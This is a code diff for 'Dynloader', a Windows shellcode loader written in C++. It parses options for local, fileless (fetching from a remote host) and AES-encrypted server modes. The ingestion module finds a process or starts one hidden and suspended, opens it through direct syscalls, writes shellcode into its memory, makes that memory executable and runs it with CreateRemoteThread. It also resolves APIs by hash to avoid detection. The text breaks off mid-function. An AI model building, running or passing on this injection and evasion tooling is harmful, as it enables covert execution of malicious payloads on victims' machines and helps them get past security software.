██████╔╝ ██║ ██║ ╚████║███████╗██████╔╝██║ ██║██████╔╝███████╗██║ ██║
|
||||||
|
╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
|
||||||
|
)raw";
|
||||||
|
}
|
||||||
|
|
||||||
|
void PrintUsage() {
|
||||||
|
std::cout <<
|
||||||
|
"Dynloader loader\n\n"
|
||||||
|
"LOCAL:\n"
|
||||||
|
" loader.exe <file.bin> [--verbose]\n"
|
||||||
|
" loader.exe --process <name|PID> <file.bin> [--verbose]\n"
|
||||||
|
" loader.exe --enc AES <file.bin> [--verbose]\n\n"
|
||||||
|
"FILELESS:\n"
|
||||||
|
" loader.exe --fileless --source <host[:port]> [--verbose]\n"
|
||||||
|
" loader.exe --fileless --source <host> --enc AES [--verbose]\n"
|
||||||
|
" loader.exe --fileless --source <host> --process <name|PID> [--enc AES] [--verbose]\n\n"
|
||||||
|
"SERVER:\n"
|
||||||
|
" loader.exe --server <file.bin> [--port 8080] [--verbose] plain\n"
|
||||||
|
" loader.exe --server --enc AES <file.bin> [--port 8080] [--verbose]\n\n"
|
||||||
|
"REMOTE Usage:\n"
|
||||||
|
" Usage --process <name | PID>\n\n"
|
||||||
|
"DEBUGGING MODE:\n"
|
||||||
|
" Usage: --verbosE\n";
|
||||||
|
"FUN Part:\n"
|
||||||
|
" Use --banner to see suprise\n"
|
||||||
|
" Usage - ./loader.exe --banner\n\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool IsFlag(const char* a) {
|
||||||
|
return a && a[0] == '-';
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool IsModeFlag(const char* a) {
|
||||||
|
return a && (
|
||||||
|
std::strcmp(a, "--fileless") == 0 ||
|
||||||
|
std::strcmp(a, "--server") == 0 ||
|
||||||
|
std::strcmp(a, "--enc") == 0 ||
|
||||||
|
std::strcmp(a, "--selftest") == 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
Options Parse(int argc, char* argv[]) {
|
||||||
|
Options opt{};
|
||||||
|
|
||||||
|
if (argc < 2) {
|
||||||
|
opt.mode = Mode::Help;
|
||||||
|
return opt;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 1; i < argc; ++i) {
|
||||||
|
if (IsVerboseFlag(argv[i])) {
|
||||||
|
opt.verbose = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (std::strcmp(argv[1], "--selftest") == 0) {
|
||||||
|
opt.mode = Mode::Normal;
|
||||||
|
opt.inputPath = "__selftest__";
|
||||||
|
return opt;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (std::strcmp(argv[1], "--banner") == 0){
|
||||||
|
opt.mode = Mode::Banner;
|
||||||
|
return opt;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (std::strcmp(argv[1], "--server") == 0) {
|
||||||
|
opt.mode = Mode::Server;
|
||||||
|
// Server uses its own verbose channel (not loader syscall dumps).
|
||||||
|
if (opt.verbose) {
|
||||||
|
opt.server_verbose = true;
|
||||||
|
opt.verbose = false;
|
||||||
|
}
|
||||||
|
for (int i = 2; i < argc; ++i) {
|
||||||
|
if (IsVerboseFlag(argv[i])) {
|
||||||
|
opt.server_verbose = true;
|
||||||
|
opt.verbose = false;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (std::strcmp(argv[i], "--port") == 0 && i + 1 < argc) {
|
||||||
|
opt.serverPort = static_cast<std::uint16_t>(std::atoi(argv[++i]));
|
||||||
|
} else if (std::strcmp(argv[i], "--enc") == 0 && i + 2 < argc &&
|
||||||
|
std::strcmp(argv[i + 1], "AES") == 0) {
|
||||||
|
opt.useAes = true;
|
||||||
|
i += 2;
|
||||||
|
if (i < argc && !IsFlag(argv[i])) {
|
||||||
|
opt.inputPath = argv[i];
|
||||||
|
}
|
||||||
|
} else if (!IsFlag(argv[i])) {
|
||||||
|
opt.inputPath = argv[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return opt;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (std::strcmp(argv[1], "--enc") == 0 && argc >= 4 && std::strcmp(argv[2], "AES") == 0) {
|
||||||
|
opt.mode = Mode::Encrypt;
|
||||||
|
opt.useAes = true;
|
||||||
|
opt.inputPath = argv[3];
|
||||||
|
return opt;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (std::strcmp(argv[1], "--fileless") == 0) {
|
||||||
|
opt.mode = Mode::Fileless;
|
||||||
|
for (int i = 2; i < argc; ++i) {
|
||||||
|
if (IsVerboseFlag(argv[i])) {
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (std::strcmp(argv[i], "--source") == 0 && i + 1 < argc) {
|
||||||
|
opt.sourceHost = argv[++i];
|
||||||
|
} else if (std::strcmp(argv[i], "--enc") == 0 && i + 1 < argc &&
|
||||||
|
std::strcmp(argv[i + 1], "AES") == 0) {
|
||||||
|
opt.useAes = true;
|
||||||
|
++i;
|
||||||
|
} else if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) {
|
||||||
|
opt.processTarget = argv[++i];
|
||||||
|
opt.remoteIngestion = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (opt.sourceHost.empty()) {
|
||||||
|
opt.mode = Mode::Help;
|
||||||
|
}
|
||||||
|
return opt;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan any order: --process <target> <file.bin> [--verbose]
|
||||||
|
std::string binPath;
|
||||||
|
for (int i = 1; i < argc; ++i) {
|
||||||
|
if (IsVerboseFlag(argv[i])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) {
|
||||||
|
opt.processTarget = argv[++i];
|
||||||
|
opt.remoteIngestion = true;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!IsFlag(argv[i]) && !IsModeFlag(argv[i])) {
|
||||||
|
if (binPath.empty()) {
|
||||||
|
binPath = argv[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!binPath.empty()) {
|
||||||
|
opt.mode = Mode::Normal;
|
||||||
|
opt.inputPath = binPath;
|
||||||
|
return opt;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!IsFlag(argv[1])) {
|
||||||
|
opt.mode = Mode::Normal;
|
||||||
|
opt.inputPath = argv[1];
|
||||||
|
return opt;
|
||||||
|
}
|
||||||
|
|
||||||
|
opt.mode = Mode::Help;
|
||||||
|
return opt;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace Cli
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
namespace Cli {
|
||||||
|
|
||||||
|
enum class Mode {
|
||||||
|
Normal,
|
||||||
|
Encrypt,
|
||||||
|
Fileless,
|
||||||
|
Server,
|
||||||
|
Help,
|
||||||
|
Banner
|
||||||
|
};
|
||||||
|
|
||||||
|
struct Options {
|
||||||
|
Mode mode = Mode::Help;
|
||||||
|
std::string inputPath;
|
||||||
|
std::string sourceHost;
|
||||||
|
std::string processTarget; // --process name or PID (remote ingestion)
|
||||||
|
std::uint16_t sourcePort = 8080; /// kept default post as 8080
|
||||||
|
bool useAes = false;
|
||||||
|
std::uint16_t serverPort = 8080;
|
||||||
|
bool verbose = false; // loader channel (--verbose on load/fileless/enc)
|
||||||
|
bool remoteIngestion = false;
|
||||||
|
bool server_verbose = false; // server channel (--server ... --verbose)
|
||||||
|
};
|
||||||
|
|
||||||
|
bool IsVerboseFlag(const char* arg);
|
||||||
|
Options Parse(int argc, char* argv[]);
|
||||||
|
void PrintUsage();
|
||||||
|
void PrintBanner();
|
||||||
|
|
||||||
|
} // namespace Cli
|
||||||
@@ -0,0 +1,480 @@
|
|||||||
|
#include "ingestion.hpp"
|
||||||
|
#include "../lib/memory/section_map.hpp"
|
||||||
|
#include "../lib/common/nt_types.hpp"
|
||||||
|
#include "../lib/common/log.hpp"
|
||||||
|
#include "../lib/common/hashes.hpp"
|
||||||
|
#include "../lib/resolve/api_resolver.hpp"
|
||||||
|
|
||||||
|
#include <cstring>
|
||||||
|
#include <cstdlib>
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
namespace Ingestion {
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
constexpr ULONG kInjectAccess =
|
||||||
|
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||||
|
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
|
||||||
|
|
||||||
|
std::string NormalizeName(std::string name) {
|
||||||
|
for (auto& c : name) {
|
||||||
|
if (c >= 'A' && c <= 'Z') {
|
||||||
|
c = static_cast<char>(c + 32);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (name.size() < 4 || name.substr(name.size() - 4) != ".exe") {
|
||||||
|
name += ".exe";
|
||||||
|
}
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool BasenameMatches(const char* imagePath, const std::string& wantNorm) {
|
||||||
|
if (!imagePath) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
const char* base = std::strrchr(imagePath, '\\');
|
||||||
|
base = base ? base + 1 : imagePath;
|
||||||
|
|
||||||
|
char lower[MAX_PATH] = {};
|
||||||
|
strncpy_s(lower, base, _TRUNCATE);
|
||||||
|
CharLowerA(lower);
|
||||||
|
|
||||||
|
std::string noExt = wantNorm;
|
||||||
|
if (noExt.size() > 4 && noExt.substr(noExt.size() - 4) == ".exe") {
|
||||||
|
noExt = noExt.substr(0, noExt.size() - 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (std::strcmp(lower, wantNorm.c_str()) == 0) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
char lowerNoExt[MAX_PATH] = {};
|
||||||
|
strncpy_s(lowerNoExt, lower, _TRUNCATE);
|
||||||
|
size_t len = strlen(lowerNoExt);
|
||||||
|
if (len > 4 && std::strcmp(lowerNoExt + len - 4, ".exe") == 0) {
|
||||||
|
lowerNoExt[len - 4] = '\0';
|
||||||
|
}
|
||||||
|
return std::strcmp(lowerNoExt, noExt.c_str()) == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsNumericPid(const std::string& target, DWORD& pid) {
|
||||||
|
if (target.empty()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
for (char c : target) {
|
||||||
|
if (c < '0' || c > '9') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pid = static_cast<DWORD>(std::strtoul(target.c_str(), nullptr, 10));
|
||||||
|
return pid != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool FindPidByName(TartarusGate::SyscallTable& sc, const std::string& wantNorm, DWORD& outPid) {
|
||||||
|
Log::Banner("Process Enum (NtQuerySystemInformation)");
|
||||||
|
Log::Sys("SystemProcessInformation look for image=%s", wantNorm.c_str());
|
||||||
|
|
||||||
|
ULONG bufSize = 1 << 20;
|
||||||
|
std::vector<BYTE> buffer(bufSize);
|
||||||
|
ULONG retLen = 0;
|
||||||
|
|
||||||
|
NTSTATUS st = sc.NtQuerySystemInformation(
|
||||||
|
SystemProcessInformation, buffer.data(),
|
||||||
|
static_cast<ULONG>(buffer.size()), &retLen);
|
||||||
|
Log::NtStatus("NtQuerySystemInformation (pass1)", st);
|
||||||
|
Log::Dbg("buffer=%lu retLen=%lu", bufSize, retLen);
|
||||||
|
|
||||||
|
if (st == static_cast<NTSTATUS>(0xC0000004)) {
|
||||||
|
Log::Dbg("STATUS_INFO_LENGTH_MISMATCH — resize + retry");
|
||||||
|
buffer.resize(retLen + 0x4000);
|
||||||
|
st = sc.NtQuerySystemInformation(
|
||||||
|
SystemProcessInformation, buffer.data(),
|
||||||
|
static_cast<ULONG>(buffer.size()), &retLen);
|
||||||
|
Log::NtStatus("NtQuerySystemInformation (pass2)", st);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st)) {
|
||||||
|
Log::NtStatus("NtQuerySystemInformation", st);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t scanned = 0;
|
||||||
|
auto* entry = reinterpret_cast<SYSTEM_PROCESS_INFORMATION_NT*>(buffer.data());
|
||||||
|
for (;;) {
|
||||||
|
++scanned;
|
||||||
|
if (entry->ImageName.Buffer && entry->ImageName.Length > 0) {
|
||||||
|
char name[MAX_PATH] = {};
|
||||||
|
WideCharToMultiByte(CP_ACP, 0, entry->ImageName.Buffer,
|
||||||
|
entry->ImageName.Length / static_cast<int>(sizeof(WCHAR)),
|
||||||
|
name, MAX_PATH - 1, nullptr, nullptr);
|
||||||
|
|
||||||
|
if (BasenameMatches(name, wantNorm)) {
|
||||||
|
outPid = static_cast<DWORD>(reinterpret_cast<ULONG_PTR>(entry->UniqueProcessId));
|
||||||
|
Log::Sys("Found PID %lu for %s (image=%s) after scanning %zu entries",
|
||||||
|
outPid, wantNorm.c_str(), name, scanned);
|
||||||
|
return outPid != 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (entry->NextEntryOffset == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
entry = reinterpret_cast<SYSTEM_PROCESS_INFORMATION_NT*>(
|
||||||
|
reinterpret_cast<BYTE*>(entry) + entry->NextEntryOffset);
|
||||||
|
}
|
||||||
|
Log::Dbg("no match for %s (scanned %zu processes)", wantNorm.c_str(), scanned);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE OpenProcessSyscall(TartarusGate::SyscallTable& sc, DWORD pid) {
|
||||||
|
Log::Sys("NtOpenProcess PID=%lu DesiredAccess=0x%08lX "
|
||||||
|
"(CREATE_THREAD|QUERY|VM_OP|VM_WRITE|VM_READ)",
|
||||||
|
pid, static_cast<unsigned long>(kInjectAccess));
|
||||||
|
|
||||||
|
OBJECT_ATTRIBUTES_NT oa{};
|
||||||
|
InitObjectAttributes(&oa, nullptr, 0, nullptr, nullptr);
|
||||||
|
|
||||||
|
CLIENT_ID_NT cid{};
|
||||||
|
cid.UniqueProcess = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(pid));
|
||||||
|
cid.UniqueThread = nullptr;
|
||||||
|
|
||||||
|
HANDLE h = nullptr;
|
||||||
|
NTSTATUS st = sc.NtOpenProcess(&h, kInjectAccess, &oa, &cid);
|
||||||
|
Log::NtStatus("NtOpenProcess", st);
|
||||||
|
if (!NT_SUCCESS(st)) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
Log::Sys("NtOpenProcess OK handle=%p", h);
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE OpenProcessWin32(DWORD pid) {
|
||||||
|
Log::Dbg("fallback OpenProcess (Win32 hash-resolved) PID=%lu", pid);
|
||||||
|
auto* k32 = ApiResolver::GetKernel32();
|
||||||
|
if (!k32) {
|
||||||
|
Log::Dbg("kernel32 base null");
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
using OpenProcess_t = HANDLE(WINAPI*)(DWORD, BOOL, DWORD);
|
||||||
|
auto* pOpen = reinterpret_cast<OpenProcess_t>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_OpenProcess));
|
||||||
|
if (!pOpen) {
|
||||||
|
Log::Dbg("OpenProcess export resolve failed");
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
HANDLE h = pOpen(kInjectAccess, FALSE, pid);
|
||||||
|
if (!h) {
|
||||||
|
Log::Dbg("OpenProcess failed GetLastError=%lu", GetLastError());
|
||||||
|
} else {
|
||||||
|
Log::Sys("OpenProcess OK handle=%p", h);
|
||||||
|
}
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool SpawnHeadless(const std::wstring& exeName, RemoteTarget& out) {
|
||||||
|
auto* k32 = ApiResolver::GetKernel32();
|
||||||
|
if (!k32) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
using SearchPathW_t = DWORD(WINAPI*)(LPCWSTR, LPCWSTR, LPCWSTR, DWORD, LPWSTR, LPWSTR*);
|
||||||
|
using CreateProcessW_t = BOOL(WINAPI*)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES,
|
||||||
|
LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||||||
|
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
|
||||||
|
|
||||||
|
auto* pSearch = reinterpret_cast<SearchPathW_t>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_SearchPathW));
|
||||||
|
auto* pCreate = reinterpret_cast<CreateProcessW_t>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_CreateProcessW));
|
||||||
|
auto* pClose = reinterpret_cast<CloseHandle_t>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
|
||||||
|
|
||||||
|
if (!pSearch || !pCreate || !pClose) {
|
||||||
|
Log::Warn("Spawn: SearchPathW/CreateProcessW hash resolve failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t pathBuf[MAX_PATH] = {};
|
||||||
|
wchar_t* filePart = nullptr;
|
||||||
|
if (!pSearch(nullptr, exeName.c_str(), nullptr, MAX_PATH, pathBuf, &filePart)) {
|
||||||
|
Log::Warn("Spawn: executable not found on PATH: %ls", exeName.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Sys("Spawn: resolved %ls", pathBuf);
|
||||||
|
|
||||||
|
STARTUPINFOW si{};
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||||
|
si.wShowWindow = SW_HIDE;
|
||||||
|
|
||||||
|
PROCESS_INFORMATION pi{};
|
||||||
|
const DWORD flags = CREATE_SUSPENDED | CREATE_NO_WINDOW;
|
||||||
|
|
||||||
|
if (!pCreate(pathBuf, nullptr, nullptr, nullptr, FALSE, flags, nullptr, nullptr, &si, &pi)) {
|
||||||
|
Log::Warn("Spawn: CreateProcessW failed (%lu)", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
out.hProcess = pi.hProcess;
|
||||||
|
out.hThread = pi.hThread;
|
||||||
|
out.pid = pi.dwProcessId;
|
||||||
|
out.spawned = true;
|
||||||
|
|
||||||
|
Log::Ok("Spawned headless PID %lu (%ls)", out.pid, exeName.c_str());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool StageRemote(
|
||||||
|
TartarusGate::SyscallTable& sc,
|
||||||
|
HANDLE hProcess,
|
||||||
|
const std::vector<BYTE>& shellcode,
|
||||||
|
PVOID& remoteBase)
|
||||||
|
{
|
||||||
|
Log::Banner("Remote Stage (alloc + write + protect)");
|
||||||
|
PVOID base = nullptr;
|
||||||
|
SIZE_T region = SectionMap::PageAlign(shellcode.size());
|
||||||
|
Log::Sys("NtAllocateVirtualMemory: Process=%p Size=%zu (page-aligned) Type=COMMIT|RESERVE Prot=PAGE_READWRITE",
|
||||||
|
hProcess, static_cast<size_t>(region));
|
||||||
|
|
||||||
|
NTSTATUS st = sc.NtAllocateVirtualMemory(
|
||||||
|
hProcess, &base, 0, ®ion,
|
||||||
|
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
Log::NtStatus("remote NtAllocateVirtualMemory", st);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st) || !base) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Sys("remote RW region base=%p size=%zu", base, static_cast<size_t>(region));
|
||||||
|
|
||||||
|
SIZE_T written = 0;
|
||||||
|
Log::Sys("NtWriteVirtualMemory: dest=%p len=%zu", base, shellcode.size());
|
||||||
|
st = sc.NtWriteVirtualMemory(
|
||||||
|
hProcess, base,
|
||||||
|
const_cast<PVOID>(static_cast<const void*>(shellcode.data())),
|
||||||
|
shellcode.size(), &written);
|
||||||
|
Log::NtStatus("remote NtWriteVirtualMemory", st);
|
||||||
|
Log::Dbg("bytes written=%zu expected=%zu", static_cast<size_t>(written), shellcode.size());
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st) || written != shellcode.size()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG old = 0;
|
||||||
|
PVOID prot = base;
|
||||||
|
SIZE_T protSize = region;
|
||||||
|
Log::Sys("NtProtectVirtualMemory: base=%p size=%zu NewProt=PAGE_EXECUTE_READ (W^X)",
|
||||||
|
base, static_cast<size_t>(protSize));
|
||||||
|
st = sc.NtProtectVirtualMemory(hProcess, &prot, &protSize, PAGE_EXECUTE_READ, &old);
|
||||||
|
Log::NtStatus("remote NtProtectVirtualMemory", st);
|
||||||
|
if (!NT_SUCCESS(st)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Dbg("old protection=0x%08lX", static_cast<unsigned long>(old));
|
||||||
|
|
||||||
|
remoteBase = base;
|
||||||
|
Log::Sys("Remote RX at %p (%zu bytes written)", base, static_cast<size_t>(written));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ExecuteRemoteThread(HANDLE hProcess, PVOID entry) {
|
||||||
|
Log::Banner("Remote Execute (CreateRemoteThread)");
|
||||||
|
auto* k32 = ApiResolver::GetKernel32();
|
||||||
|
if (!k32) {
|
||||||
|
Log::Dbg("kernel32 base null");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
using CreateRemoteThread_t = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
|
||||||
|
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||||
|
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
|
||||||
|
|
||||||
|
auto* pCRT = reinterpret_cast<CreateRemoteThread_t>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_CreateRemoteThread));
|
||||||
|
auto* pClose = reinterpret_cast<CloseHandle_t>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
|
||||||
|
|
||||||
|
if (!pCRT || !pClose) {
|
||||||
|
Log::Warn("CreateRemoteThread hash resolve failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Sys("CreateRemoteThread resolved pCRT=%p process=%p start=%p", pCRT, hProcess, entry);
|
||||||
|
|
||||||
|
DWORD tid = 0;
|
||||||
|
HANDLE hThread = pCRT(hProcess, nullptr, 0,
|
||||||
|
reinterpret_cast<LPTHREAD_START_ROUTINE>(entry), nullptr, 0, &tid);
|
||||||
|
|
||||||
|
if (!hThread) {
|
||||||
|
Log::Warn("CreateRemoteThread failed (%lu)", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Ok("Remote thread TID %lu at entry %p", tid, entry);
|
||||||
|
Log::Dbg("closing remote thread handle %p (thread continues)", hThread);
|
||||||
|
pClose(hThread);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ResumePrimary(RemoteTarget& target) {
|
||||||
|
if (!target.spawned || !target.hThread) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* k32 = ApiResolver::GetKernel32();
|
||||||
|
auto* pResume = reinterpret_cast<DWORD(WINAPI*)(HANDLE)>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_ResumeThread));
|
||||||
|
if (!pResume) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const DWORD rc = pResume(target.hThread);
|
||||||
|
Log::Sys("ResumeThread primary -> %lu", rc);
|
||||||
|
return rc != static_cast<DWORD>(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out) {
|
||||||
|
Log::Banner("Acquire Target");
|
||||||
|
Log::Info("raw target arg='%s'", target.c_str());
|
||||||
|
out = {};
|
||||||
|
|
||||||
|
DWORD pid = 0;
|
||||||
|
if (IsNumericPid(target, pid)) {
|
||||||
|
Log::Info("Target parsed as numeric PID %lu", pid);
|
||||||
|
} else {
|
||||||
|
const std::string norm = NormalizeName(target);
|
||||||
|
Log::Dbg("normalized process name='%s'", norm.c_str());
|
||||||
|
if (!FindPidByName(sc, norm, pid)) {
|
||||||
|
Log::Info("Process '%s' not running — spawning headless", norm.c_str());
|
||||||
|
std::wstring wname(norm.begin(), norm.end());
|
||||||
|
if (!SpawnHeadless(wname, out)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
Log::Info("Target process '%s' -> PID %lu", norm.c_str(), pid);
|
||||||
|
}
|
||||||
|
|
||||||
|
out.hProcess = OpenProcessSyscall(sc, pid);
|
||||||
|
if (!out.hProcess) {
|
||||||
|
Log::Dbg("syscall open failed — trying Win32 OpenProcess");
|
||||||
|
out.hProcess = OpenProcessWin32(pid);
|
||||||
|
}
|
||||||
|
if (!out.hProcess) {
|
||||||
|
Log::Err("Cannot open PID %lu", pid);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
out.pid = pid;
|
||||||
|
out.spawned = false;
|
||||||
|
Log::Sys("AcquireTarget done: PID=%lu handle=%p", out.pid, out.hProcess);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target) {
|
||||||
|
if (target.hThread) {
|
||||||
|
sc.NtClose(target.hThread);
|
||||||
|
target.hThread = nullptr;
|
||||||
|
}
|
||||||
|
if (target.hProcess) {
|
||||||
|
sc.NtClose(target.hProcess);
|
||||||
|
target.hProcess = nullptr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector<BYTE>& shellcode) {
|
||||||
|
if (!sc.initialized || !target.hProcess || shellcode.empty()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID remoteBase = nullptr;
|
||||||
|
if (!StageRemote(sc, target.hProcess, shellcode, remoteBase)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Sys("remote RX=%p PID=%lu technique=alloc+write+protect", remoteBase, target.pid);
|
||||||
|
|
||||||
|
if (!ExecuteRemoteThread(target.hProcess, remoteBase)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ResumePrimary(target)) {
|
||||||
|
Log::Warn("ResumeThread failed (injection may still run)");
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool StageViaVirtualAlloc(
|
||||||
|
TartarusGate::SyscallTable& sc,
|
||||||
|
const std::vector<BYTE>& shellcode,
|
||||||
|
PVOID& outExec)
|
||||||
|
{
|
||||||
|
Log::Banner("Local Stage (NtAllocateVirtualMemory W^X)");
|
||||||
|
PVOID base = nullptr;
|
||||||
|
SIZE_T size = shellcode.size();
|
||||||
|
Log::Sys("NtAllocateVirtualMemory: self Process size=%zu Prot=PAGE_READWRITE",
|
||||||
|
static_cast<size_t>(size));
|
||||||
|
NTSTATUS st = sc.NtAllocateVirtualMemory(
|
||||||
|
GetCurrentProcess(), &base, 0, &size,
|
||||||
|
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
Log::NtStatus("NtAllocateVirtualMemory", st);
|
||||||
|
if (!NT_SUCCESS(st) || !base) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Sys("local RW base=%p allocated=%zu", base, static_cast<size_t>(size));
|
||||||
|
|
||||||
|
std::memcpy(base, shellcode.data(), shellcode.size());
|
||||||
|
Log::Dbg("memcpy shellcode %zu bytes -> %p", shellcode.size(), base);
|
||||||
|
|
||||||
|
ULONG old = 0;
|
||||||
|
PVOID prot = base;
|
||||||
|
SIZE_T protSize = size;
|
||||||
|
Log::Sys("NtProtectVirtualMemory: NewProt=PAGE_EXECUTE_READ (W^X)");
|
||||||
|
st = sc.NtProtectVirtualMemory(
|
||||||
|
GetCurrentProcess(), &prot, &protSize, PAGE_EXECUTE_READ, &old);
|
||||||
|
Log::NtStatus("NtProtectVirtualMemory", st);
|
||||||
|
if (!NT_SUCCESS(st)) {
|
||||||
|
PVOID freeBase = base;
|
||||||
|
sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &size, MEM_RELEASE);
|
||||||
|
Log::Dbg("freed failed region");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Dbg("old protection=0x%08lX", static_cast<unsigned long>(old));
|
||||||
|
|
||||||
|
outExec = base;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector<BYTE>& shellcode) {
|
||||||
|
Log::Banner("RunLocal");
|
||||||
|
Log::Info("shellcode=%zu bytes", shellcode.size());
|
||||||
|
PVOID execMem = nullptr;
|
||||||
|
|
||||||
|
if (StageViaVirtualAlloc(sc, shellcode, execMem)) {
|
||||||
|
Log::Sys("local RX=%p technique=NtAllocateVirtualMemory W^X", execMem);
|
||||||
|
const bool ok = SectionMap::ExecuteLocal(sc, execMem);
|
||||||
|
